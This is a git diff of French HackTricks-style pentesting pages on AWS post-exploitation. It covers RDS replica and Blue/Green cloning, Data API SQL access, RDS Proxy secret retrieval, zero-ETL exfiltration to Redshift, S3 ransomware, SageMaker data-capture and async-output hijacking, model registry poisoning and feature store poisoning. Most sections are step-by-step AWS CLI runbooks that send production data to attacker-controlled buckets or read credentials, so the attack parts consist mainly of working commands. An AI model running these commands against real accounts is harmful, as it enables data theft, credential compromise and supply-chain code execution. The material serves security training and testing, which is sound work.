pour obtenir un accès en lecture hors bande sans toucher aux identifiants de l'instance primaire. Un attaquant peut créer une réplique en lecture à partir d'une instance de production, réinitialiser le mot de passe master de la réplique (cela ne modifie pas celui de la primaire) et, facultativement, exposer la réplique publiquement pour exfiltrer des données. +Abuser des réplicas en lecture RDS pour obtenir un accès en lecture hors-bande sans toucher aux identifiants de l'instance primaire. Un attaquant peut créer une réplique en lecture à partir d'une instance de production, réinitialiser le mot de passe master de la réplique (cela ne modifie pas le primaire), et éventuellement exposer la réplique publiquement pour exfiltrer des données. Permissions nécessaires (minimum) : - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (si exposition publique) -Impact : Accès en lecture seule aux données de production via une réplique avec des identifiants contrôlés par l'attaquant ; probabilité de détection réduite car la primaire reste inchangée et la réplication continue. +Impact : Accès en lecture seule aux données de production via une réplique avec des identifiants contrôlés par l'attaquant ; probabilité de détection réduite car le primaire reste intact et la réplication continue. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -304,13 +304,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier # Optional: promote for persistence # aws rds promote-read-replica --db-instance-identifier ``` -Example evidence (MySQL): -- État de la DB réplique : `available`, réplication en lecture : `replicating` -- Connexion réussie avec le nouveau mot de passe et `@@read_only=1` confirmant l'accès en lecture seule à la réplica. +Exemple de preuve (MySQL) : +- Statut de la réplique DB : `available`, réplication en lecture : `replicating` +- Connexion réussie avec le nouveau mot de passe et `@@read_only=1` confirmant l'accès en lecture seule à la réplique. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -Abuser de RDS Blue/Green pour cloner une DB de production dans un environnement green continuellement répliqué et en lecture seule. Puis réinitialiser les identifiants master du green pour accéder aux données sans toucher l'instance blue (prod). C'est plus discret que le partage de snapshot et contourne souvent la surveillance focalisée uniquement sur la source. +Abuser de RDS Blue/Green pour cloner une DB de production dans un environnement green répliqué en continu et en lecture seule. Puis réinitialiser les identifiants master du green pour accéder aux données sans toucher l'instance blue (prod). C'est plus discret que le snapshot sharing et permet souvent de contourner une surveillance focalisée uniquement sur la source. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -357,19 +357,19 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -Impact : Accès en lecture seule mais complet à un clone quasi temps réel de la production sans modifier l'instance de production. Utile pour l'extraction furtive de données et l'analyse hors ligne. +Impact : Accès en lecture seule mais accès complet aux données d'un clone quasi temps réel de la production sans modifier l'instance de production. Utile pour l'extraction discrète de données et l'analyse hors ligne. -### SQL hors-bande via RDS Data API en activant l'HTTP endpoint + réinitialisation du mot de passe master +### Out-of-band SQL via RDS Data API en activant l'HTTP endpoint + en réinitialisant le mot de passe maître -Abuse Aurora pour activer l'endpoint HTTP du RDS Data API sur un cluster cible, réinitialiser le mot de passe master avec une valeur que vous contrôlez, et exécuter du SQL via HTTPS (aucun chemin réseau VPC requis). Fonctionne sur les moteurs Aurora qui supportent le Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions). +Abuse Aurora pour activer le RDS Data API HTTP endpoint sur un cluster cible, réinitialiser le mot de passe maître à une valeur que vous contrôlez, et exécuter du SQL via HTTPS (aucun chemin réseau VPC requis). Fonctionne sur les moteurs Aurora qui prennent en charge le Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; certaines versions d'Aurora PostgreSQL/MySQL). -Permissions (minimum) : +Permissions (minimum): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -Impact : Contourne la segmentation réseau et exfiltre des données via les APIs AWS sans connectivité VPC directe vers la DB. +Impact : Contourne la segmentation réseau et exfiltrate data via AWS APIs sans connectivité VPC directe vers la DB.
CLI de bout en bout (exemple Aurora MySQL) @@ -424,22 +424,22 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ ```
-Notes: -- Si du SQL multi-instructions est rejeté par rds-data, effectuez des appels execute-statement séparés. -- Pour les moteurs où modify-db-cluster --enable-http-endpoint n'a aucun effet, utilisez rds enable-http-endpoint --resource-arn. -- Assurez-vous que le engine/version prend réellement en charge le Data API ; sinon HttpEndpointEnabled restera False. +Remarques : +- Si des requêtes SQL multi-énoncés sont rejetées par rds-data, exécutez des appels execute-statement séparés. +- Pour les moteurs pour lesquels modify-db-cluster --enable-http-endpoint n'a aucun effet, utilisez rds enable-http-endpoint --resource-arn. +- Assurez-vous que le moteur/la version supporte réellement la Data API ; sinon HttpEndpointEnabled restera False. -### Récupération des identifiants DB via les secrets d'auth RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### Récupérer les identifiants DB via les secrets d'authentification RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -Abuser de la configuration RDS Proxy pour découvrir le secret Secrets Manager utilisé pour l'authentification backend, puis lire le secret pour obtenir les identifiants de la base de données. Beaucoup d'environnements accordent un large `secretsmanager:GetSecretValue`, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal définies peuvent également permettre `kms:Decrypt`. +Exploitez la configuration de RDS Proxy pour découvrir le secret Secrets Manager utilisé pour l'authentification backend, puis lisez le secret pour obtenir les identifiants de la base de données. Beaucoup d'environnements accordent un large `secretsmanager:GetSecretValue`, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal cadrées peuvent aussi permettre `kms:Decrypt`. Permissions requises (minimum) : - `rds:DescribeDBProxies` - `secretsmanager:GetSecretValue` sur le SecretArn référencé - Optionnel si le secret utilise une CMK : `kms:Decrypt` sur cette clé -Impact : Divulgation immédiate du nom d'utilisateur/mot de passe DB configuré sur le proxy ; permet un accès direct à la DB ou un mouvement latéral supplémentaire. +Impact : divulgation immédiate du nom d'utilisateur/mot de passe DB configurés sur le proxy ; permet un accès direct à la base ou un mouvement latéral supplémentaire. Étapes ```bash @@ -454,7 +454,7 @@ aws secretsmanager get-secret-value \ --query SecretString --output text # Example output: {"username":"admin","password":"S3cr3t!"} ``` -Laboratoire (configuration minimale pour reproduire) +Lab (minimal pour reproduire) ```bash REGION=us-east-1 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) @@ -480,9 +480,9 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` -### Exfiltration continue discrète via Aurora zero‑ETL vers Amazon Redshift (rds:CreateIntegration) +### Exfiltration continue et furtive via Aurora zero‑ETL vers Amazon Redshift (rds:CreateIntegration) -Exploiter l'intégration zero‑ETL d'Aurora PostgreSQL pour répliquer en continu les données de production dans un namespace Redshift Serverless que vous contrôlez. Avec une Redshift resource policy permissive autorisant CreateInboundIntegration/AuthorizeInboundIntegration pour l'ARN d'un cluster Aurora spécifique, un attaquant peut établir une copie des données quasi temps‑réel sans DB creds, snapshots ni exposition réseau. +Exploitez l'intégration Aurora PostgreSQL zero‑ETL pour répliquer en continu les données de production dans un namespace Redshift Serverless que vous contrôlez. Avec une politique de ressource Redshift permissive autorisant CreateInboundIntegration/AuthorizeInboundIntegration pour un ARN de cluster Aurora spécifique, un attaquant peut établir une copie des données quasi en temps réel sans DB creds, snapshots ni exposition réseau. Permissions nécessaires (minimum) : - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` @@ -509,7 +509,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
-2) Configurer la politique de ressources de Redshift pour autoriser la source Aurora +2) Configurer la politique de ressources Redshift pour autoriser la source Aurora ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= @@ -596,12 +596,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d ```
-Preuves observées lors du test: +Preuves observées lors du test : - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... -- SVV_INTEGRATION a montré integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et état PendingDbConnectState avant la création de la DB. -- Après CREATE DATABASE FROM INTEGRATION, l'affichage des tables a révélé le schéma ztl et la table customers ; une requête sur ztl.customers a renvoyé 2 lignes (Alice, Bob). +- La vue SVV_INTEGRATION a montré integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et state PendingDbConnectState avant la création de la DB. +- Après CREATE DATABASE FROM INTEGRATION, l'énumération des tables a révélé le schéma ztl et la table customers ; une sélection depuis ztl.customers a renvoyé 2 lignes (Alice, Bob). -Impact : Exfiltration continue quasi‑temps réel de tables Aurora PostgreSQL sélectionnées vers Redshift Serverless contrôlé par l'attaquant, sans utiliser les identifiants de base de données, les backups, ou l'accès réseau au cluster source. +Impact : Exfiltration continue quasi‑en temps réel de tables Aurora PostgreSQL sélectionnées vers Redshift Serverless contrôlé par l'attaquant, sans utiliser d'identifiants de base de données, de sauvegardes ni d'accès réseau au cluster source. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md deleted file mode 100644 index 7bc640e1d..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ /dev/null @@ -1,38 +0,0 @@ -# AWS - S3 Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### Informations Sensibles - -Parfois, vous pourrez trouver des informations sensibles lisibles dans les buckets. Par exemple, des secrets d'état terraform. - -### Pivotement - -Différentes plateformes pourraient utiliser S3 pour stocker des actifs sensibles.\ -Par exemple, **airflow** pourrait y stocker le **code** des **DAGs**, ou des **pages web** pourraient être directement servies depuis S3. Un attaquant avec des permissions d'écriture pourrait **modifier le code** du bucket pour **pivoter** vers d'autres plateformes, ou **prendre le contrôle des comptes** en modifiant des fichiers JS. - -### Ransomware S3 - -Dans ce scénario, l'**attaquant crée une clé KMS (Key Management Service) dans son propre compte AWS** ou un autre compte compromis. Il rend ensuite cette **clé accessible à quiconque dans le monde**, permettant à tout utilisateur, rôle ou compte AWS d'encrypter des objets en utilisant cette clé. Cependant, les objets ne peuvent pas être décryptés. - -L'attaquant identifie un **bucket S3 cible et obtient un accès en écriture** à celui-ci en utilisant diverses méthodes. Cela pourrait être dû à une mauvaise configuration du bucket qui l'expose publiquement ou à l'accès de l'attaquant à l'environnement AWS lui-même. L'attaquant cible généralement des buckets contenant des informations sensibles telles que des informations personnellement identifiables (PII), des informations de santé protégées (PHI), des journaux, des sauvegardes, et plus encore. - -Pour déterminer si le bucket peut être ciblé pour un ransomware, l'attaquant vérifie sa configuration. Cela inclut la vérification si **S3 Object Versioning** est activé et si **la suppression par authentification multi-facteurs (MFA delete) est activée**. Si la version d'objet n'est pas activée, l'attaquant peut procéder. Si la version d'objet est activée mais que la suppression MFA est désactivée, l'attaquant peut **désactiver la version d'objet**. Si à la fois la version d'objet et la suppression MFA sont activées, il devient plus difficile pour l'attaquant de ransomware ce bucket spécifique. - -En utilisant l'API AWS, l'attaquant **remplace chaque objet dans le bucket par une copie chiffrée en utilisant sa clé KMS**. Cela chiffre effectivement les données dans le bucket, les rendant inaccessibles sans la clé. - -Pour ajouter une pression supplémentaire, l'attaquant planifie la suppression de la clé KMS utilisée dans l'attaque. Cela donne à la cible une fenêtre de 7 jours pour récupérer ses données avant que la clé ne soit supprimée et que les données ne deviennent définitivement perdues. - -Enfin, l'attaquant pourrait télécharger un fichier final, généralement nommé "ransom-note.txt", qui contient des instructions pour la cible sur la façon de récupérer ses fichiers. Ce fichier est téléchargé sans chiffrement, probablement pour attirer l'attention de la cible et lui faire prendre conscience de l'attaque par ransomware. - -**Pour plus d'infos** [**consultez la recherche originale**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md new file mode 100644 index 000000000..28654c961 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -0,0 +1,38 @@ +# AWS - S3 Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +Pour plus d'informations, voir : + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### Informations sensibles + +Parfois, vous pourrez trouver des informations sensibles lisibles dans les buckets. Par exemple, terraform state secrets. + +### Pivoting + +Différentes plateformes pourraient utiliser S3 pour stocker des assets sensibles.\ +Par exemple, **airflow** pourrait y stocker **DAGs** **code**, ou des **web pages** pourraient être servies directement depuis S3. Un attaquant disposant de permissions d'écriture pourrait **modify the code** dans le bucket pour **pivot** vers d'autres plateformes, ou **takeover accounts** en modifiant des fichiers JS. + +### S3 Ransomware + +Dans ce scénario, l'attaquant crée une KMS (Key Management Service) key dans son propre compte AWS ou dans un autre compte compromis. Il rend ensuite cette key accessible à n'importe qui dans le monde, permettant à tout utilisateur, rôle ou compte AWS de chiffrer des objets en utilisant cette key. Cependant, les objets ne peuvent pas être déchiffrés. + +L'attaquant identifie un bucket S3 cible et obtient un accès en écriture via diverses méthodes. Cela peut être dû à une mauvaise configuration du bucket qui l'expose publiquement ou à l'accès de l'attaquant à l'environnement AWS lui-même. L'attaquant cible typiquement des buckets contenant des informations sensibles comme des données personnelles identifiables (PII), des protected health information (PHI), des logs, des backups, etc. + +Pour déterminer si le bucket peut être ciblé pour du ransomware, l'attaquant vérifie sa configuration. Cela inclut la vérification si **S3 Object Versioning** est activé et si **multi-factor authentication delete (MFA delete)** est activé. Si Object Versioning n'est pas activé, l'attaquant peut procéder. Si Object Versioning est activé mais que MFA delete est désactivé, l'attaquant peut **disable Object Versioning**. Si Object Versioning et MFA delete sont tous deux activés, il devient plus difficile pour l'attaquant de ransomware ce bucket spécifique. + +En utilisant l'API AWS, l'attaquant **remplace chaque objet dans le bucket par une copie chiffrée avec leur KMS key**. Cela chiffre effectivement les données du bucket, les rendant inaccessibles sans la key. + +Pour faire pression, l'attaquant planifie la suppression de la KMS key utilisée dans l'attaque. Cela donne à la cible une fenêtre de 7 jours pour récupérer ses données avant que la key soit supprimée et que les données ne soient perdues de façon permanente. + +Enfin, l'attaquant pourrait uploader un fichier final, généralement nommé "ransom-note.txt", qui contient des instructions pour la cible sur la façon de récupérer leurs fichiers. Ce fichier est uploadé sans chiffrement, probablement pour attirer l'attention de la cible et la rendre consciente de l'attaque ransomware. + +**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md new file mode 100644 index 000000000..74248b6c9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -0,0 +1,179 @@ +# AWS - SageMaker Post-Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig + +Abuser de la gestion des endpoints SageMaker pour activer la capture complète des requêtes/réponses vers un S3 bucket contrôlé par un attaquant sans toucher le model ou le container. Utilise une rolling update zéro/faible temps d'arrêt et ne nécessite que des permissions de gestion d'endpoint. + +### Prérequis +- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` +- S3: `s3:CreateBucket` (ou utiliser un bucket existant dans le même compte) +- Optionnel (si utilisation de SSE‑KMS): `kms:Encrypt` sur la CMK choisie +- Cible : un endpoint real‑time InService existant dans le même compte/région + +### Étapes +1) Identifier un endpoint InService et rassembler les variantes de production actuelles +```bash +REGION=${REGION:-us-east-1} +EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text) +echo "Endpoint=$EP" +CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) +echo "EndpointConfig=$CFG" +aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json +``` +2) Préparer la destination S3 de l'attaquant pour les captures +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-capture-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION +``` +3) Créez un nouvel EndpointConfig qui conserve les mêmes variants mais active DataCapture vers le attacker bucket + +Note : Utilisez des content types explicites qui satisfont la validation du CLI. +```bash +NEWCFG=${CFG}-dc +cat > /tmp/dc.json << JSON +{ +"EnableCapture": true, +"InitialSamplingPercentage": 100, +"DestinationS3Uri": "s3://$BUCKET/capture", +"CaptureOptions": [ +{"CaptureMode": "Input"}, +{"CaptureMode": "Output"} +], +"CaptureContentTypeHeader": { +"JsonContentTypes": ["application/json"], +"CsvContentTypes": ["text/csv"] +} +} +JSON +aws sagemaker create-endpoint-config \ +--region $REGION \ +--endpoint-config-name "$NEWCFG" \ +--production-variants file:///tmp/pv.json \ +--data-capture-config file:///tmp/dc.json +``` +4) Appliquer la nouvelle config via un rolling update (interruption minimale / aucune interruption) +```bash +aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" +aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" +``` +5) Générer au moins un appel d'inférence (optionnel si du trafic en direct existe) +```bash +echo '{"inputs":[1,2,3]}' > /tmp/payload.json +aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ +--content-type application/json --accept application/json \ +--body fileb:///tmp/payload.json /tmp/out.bin || true +``` +6) Valider les captures dans attacker S3 +```bash +aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize +``` +### Impact +- Exfiltration complète des payloads des requêtes et réponses d'inférence en temps réel (et des métadonnées) depuis l'endpoint ciblé vers un bucket S3 contrôlé par l'attaquant. +- Aucun changement au model/container image et seulement des modifications au niveau de l'endpoint, ce qui permet un vol de données discret avec une perturbation opérationnelle minimale. + + +## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig + +Abuser de la gestion de l'endpoint pour rediriger les sorties d'inférence asynchrones vers un bucket S3 contrôlé par l'attaquant en clonant l'EndpointConfig actuel et en définissant AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Cela exfiltre les prédictions du modèle (et tout input transformé inclus par le container) sans modifier le model/container. + +### Requirements +- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` +- S3: Ability to write to the attacker S3 bucket (via the model execution role or a permissive bucket policy) +- Target: An InService endpoint where asynchronous invocations are (or will be) used + +### Steps +1) Récupérer les ProductionVariants actuelles de l'endpoint cible +```bash +REGION=${REGION:-us-east-1} +EP= +CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) +aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json +``` +2) Créer un attacker bucket (assurez-vous que le model execution role peut PutObject vers celui-ci) +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION || true +``` +3) Cloner EndpointConfig et hijack les outputs d'AsyncInference vers le bucket de l'attaquant +```bash +NEWCFG=${CUR_CFG}-async-exfil +cat > /tmp/async_cfg.json << JSON +{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}} +JSON +aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json +aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" +aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" +``` +4) Déclencher une invocation asynchrone et vérifier que les objets arrivent dans le S3 de l'attaquant +```bash +aws s3 cp /etc/hosts s3://$BUCKET/inp.bin +aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true +sleep 30 +aws s3 ls s3://$BUCKET/async-out/ --recursive || true +aws s3 ls s3://$BUCKET/async-fail/ --recursive || true +``` +### Impact +- Redirige les résultats d'inférence asynchrones (et les corps d'erreur) vers un S3 contrôlé par l'attaquant, permettant l'exfiltration clandestine des prédictions et des entrées potentiellement sensibles pré/post-traitées produites par le conteneur, sans modifier le code du modèle ou l'image et avec peu ou pas de temps d'arrêt. + + +## SageMaker Model Registry injection dans la chaîne d'approvisionnement via CreateModelPackage(Approved) + +Si un attaquant peut CreateModelPackage sur un SageMaker Model Package Group cible, il peut enregistrer une nouvelle version du modèle qui pointe vers une image de conteneur contrôlée par l'attaquant et la marquer immédiatement comme Approved. De nombreux pipelines CI/CD déploient automatiquement les versions de modèles Approved vers des endpoints ou des training jobs, entraînant l'exécution de code de l'attaquant sous les rôles d'exécution du service. L'exposition inter-comptes peut être amplifiée par une stratégie de ressource ModelPackageGroup permissive. + +### Requirements +- IAM (minimum pour empoisonner un groupe existant) : `sagemaker:CreateModelPackage` sur le ModelPackageGroup cible +- Optionnel (pour créer un groupe si aucun n'existe) : `sagemaker:CreateModelPackageGroup` +- S3 : accès en lecture au ModelDataUrl référencé (ou héberger des artefacts contrôlés par l'attaquant) +- Cible : un Model Package Group que l'automatisation en aval surveille pour les versions Approved + +### Steps +1) Définir la région et créer/trouver un Model Package Group cible +```bash +REGION=${REGION:-us-east-1} +MPG=victim-group-$(date +%s) +aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group" +``` +2) Préparer des données de modèle factices dans S3 +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-mpkg-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION +head -c 1024 /tmp/model.tar.gz +aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION +``` +3) Enregistrer une version de package de modèle Approved malveillante (ici bénigne) faisant référence à une image publique AWS DLC +```bash +IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" +cat > /tmp/inf.json << JSON +{ +"Containers": [ +{ +"Image": "$IMG", +"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz" +} +], +"SupportedContentTypes": ["text/csv"], +"SupportedResponseMIMETypes": ["text/csv"] +} +JSON +aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json +``` +4) Vérifier que la nouvelle version Approved existe +```bash +aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table +``` +### Impact +- Empoisonner le Model Registry avec une version Approved qui référence du code contrôlé par l'attaquant. Les Pipelines qui déploient automatiquement des modèles Approved peuvent récupérer et exécuter l'image contrôlée par l'attaquant, entraînant l'exécution de code sous les rôles endpoint/training. +- Avec une politique de ressource ModelPackageGroup permissive (PutModelPackageGroupPolicy), cet abus peut être déclenché cross-account. + +## Feature store poisoning + +Abuser de `sagemaker:PutRecord` sur un Feature Group avec OnlineStore activé pour écraser les valeurs de features en direct utilisées par l'inférence en ligne. Combiné avec `sagemaker:GetRecord`, un attaquant peut lire des features sensibles. Cela ne nécessite pas d'accès aux models ou aux endpoints. + +{{#ref}} +feature-store-poisoning.md +{{/ref}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md new file mode 100644 index 000000000..f598d5902 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -0,0 +1,50 @@ +# SageMaker Feature Store online store poisoning + +Exploiter `sagemaker:PutRecord` sur un Feature Group avec OnlineStore activé pour écraser les valeurs de feature en direct utilisées par l'inférence en ligne. Associé à `sagemaker:GetRecord`, un attaquant peut lire des features sensibles. Cela ne nécessite pas d'accès aux modèles ou aux endpoints. + +## Prérequis +- Permissions : `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` +- Cible : Feature Group avec OnlineStore activé (typiquement utilisé pour l'inférence en temps réel) + +## Étapes +1) Choisir ou créer un petit Online Feature Group pour les tests +```bash +REGION=${REGION:-us-east-1} +FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) +if [ -z "$FG" -o "$FG" = "None" ]; then +ACC=$(aws sts get-caller-identity --query Account --output text) +FG=ht-fg-$ACC-$(date +%s) +ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole) +aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN" +echo "Waiting for feature group to be in Created state..." +for i in $(seq 1 40); do +ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true) +echo $ST; [ "$ST" = "Created" ] && break; sleep 15 +done +fi +``` +2) Insérer/écraser un enregistrement en ligne (poison) +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) +cat > /tmp/put.json << JSON +{ +"FeatureGroupName": "$FG", +"Record": [ +{"FeatureName": "entity_id", "ValueAsString": "user-123"}, +{"FeatureName": "event_time", "ValueAsString": "$NOW"}, +{"FeatureName": "risk_score", "ValueAsString": "0.99"} +], +"TargetStores": ["OnlineStore"] +} +JSON +aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json +``` +3) Relire l'enregistrement pour confirmer la manipulation +```bash +aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString" +``` +Résultat attendu : risk_score renvoie 0,99 (défini par l'attaquant), prouvant la capacité à modifier des features en ligne consommées par les modèles. + +## Impact +- Attaque d'intégrité en temps réel : manipuler les features utilisées par les modèles en production sans toucher les points de terminaison/modèles. +- Risque de confidentialité : lire des features sensibles via GetRecord depuis OnlineStore. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md deleted file mode 100644 index dd709d441..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ /dev/null @@ -1,130 +0,0 @@ -# AWS - Secrets Manager Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -For more information check: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### Lire les secrets - -Les **secrets eux-mêmes sont des informations sensibles**, [consultez la page privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) pour apprendre comment les lire. - -### DoS : Changer la valeur du secret - -Modifier la valeur du secret peut **provoquer un DoS sur tous les systèmes qui dépendent de cette valeur.** - -> [!WARNING] -> Notez que les valeurs précédentes sont également stockées, il est donc facile de revenir à la valeur précédente. -```bash -# Requires permission secretsmanager:PutSecretValue -aws secretsmanager put-secret-value \ ---secret-id MyTestSecret \ ---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" -``` -### DoS Change KMS key - -Si l'attaquant possède la permission secretsmanager:UpdateSecret, il peut configurer le secret pour utiliser une clé KMS appartenant à l'attaquant. Cette clé est initialement configurée de manière à ce que n'importe qui puisse y accéder et l'utiliser, permettant ainsi de mettre à jour le secret avec la nouvelle clé. Si la clé n'était pas accessible, le secret n'aurait pas pu être mis à jour. - -Après avoir changé la clé du secret, l'attaquant modifie la configuration de sa clé de sorte que seul lui puisse y accéder. De cette façon, dans les versions suivantes du secret, il sera chiffré avec la nouvelle clé et, comme il n'y aura pas d'accès à celle-ci, la capacité de récupérer le secret serait perdue. - -Il est important de noter que cette inaccessibilité ne se produira que sur les versions ultérieures, après que le contenu du secret ait changé, 